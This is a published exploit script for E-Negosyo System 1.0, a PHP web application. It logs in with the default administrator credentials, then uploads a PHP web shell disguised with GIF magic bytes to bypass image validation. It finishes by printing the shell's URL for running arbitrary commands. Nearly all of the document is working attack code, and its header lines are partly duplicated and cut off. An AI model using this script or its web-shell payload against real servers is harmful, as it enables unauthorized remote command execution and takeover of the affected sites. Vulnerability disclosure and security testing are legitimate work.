Vulnerabilities

E-Negosyo System 1.0 Shell Upload

# Exploit Title: E-Negosyo System 1.0 - Authenticated RCE
# Date: 2021-09-22
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Softwar # Exploit Title: E-Negosyo System 1.0 - Authenticated RCE
# Date: 2021-09-22
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/bsenordering_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: Ubuntu 18.04, Windows 10 Home


# Description:
# The E-Negosyo System 1.0 suffers from an Authenticated RCE vulnerability.
# An Administrator can upload a PHP file as new product image, because image uploads are not properly handled by the Webapp
# The Error resides in the file /admin/products/controller.php - function doInsert() which validates images with getImageSize
# This can be bypassed by inserting some magic bytes at the top of the PHP file.

import requests, sys
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '

ASCII_ART = """

_.---._ /\
./' "--`//
./ o
/./ )______ \__
./ / / |
/ / | | 7
" " " "


E-Negosyo System Authenticated RCE v1.0 Janik Wehrli
"""

# Set variables
print(ASCII_ART)
SERVER_URL = str(
input("Type in your E-Negosyo System Location e.g http://192.168.20.20/bsenordering: "))
LOGIN_URL = SERVER_URL + '/admin/login.php'
# You may have to adjust the id of the picture
UPLOAD_URL = SERVER_URL + "/admin/products/controller.php?action=photos&id=201735"
PWN_URL = SERVER_URL + "/admin/products/uploaded_photos/"
# Set your own credentials (janobe:admin by default on v1.0)
USERNAME = "janobe"
PASSWORD = "admin"
WEBSHELL_NAME = "pwn.php"

# Uncomment the bottom line to run the exploit through a proxy such as burp
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# Create a simple web session with python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(LOGIN_URL, verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok + 'Successfully connected to E-Negosyo System server & created session.')
print(info + "Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err + 'Cannot connect to the server and create a web session.')
sys.exit(-1)

# 1. Login to get Admin access
login_data = {'username': USERNAME, 'password': PASSWORD, 'login': ''}
print(
info + "Attempting to Login to E-Negosyo System v1.0 with the following credentials: " + "username:" + USERNAME + ":" + "password:" + PASSWORD)
# auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True)
if auth.status_code == 200:
print(ok, "Login Success")
else:
print(err, "Something Went Wrong")

# 2. Upload simple PHP Webshell to get command execution
# Content-Disposition: form-data; name="image"; filename="pwn.php"
# Content-Type: application/octet-stream
webshell = {
'photo':
(
WEBSHELL_NAME,
'GIF89a <?php echo shell_exec($_GET["cmd"]);?>',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
print(info + "Upload Webshell via insecure verification of images (getimagesize()) add GIF Magic Bytes")
print(info + "Send Post malicious POST Request to the Server")

upload_webshell = s.post(url=UPLOAD_URL, files=webshell, verify=False)

if "window.location='index.php'" in upload_webshell.text:
print(ok, "Success")
print(ok, "Your Webshell is located under: " + PWN_URL + WEBSHELL_NAME)
print(ok, "Execute Commands via the GET Parameter 'cmd' for e.g " + PWN_URL + WEBSHELL_NAME + "?cmd=whoami")
else:
print(err, "Something Went Wrong")

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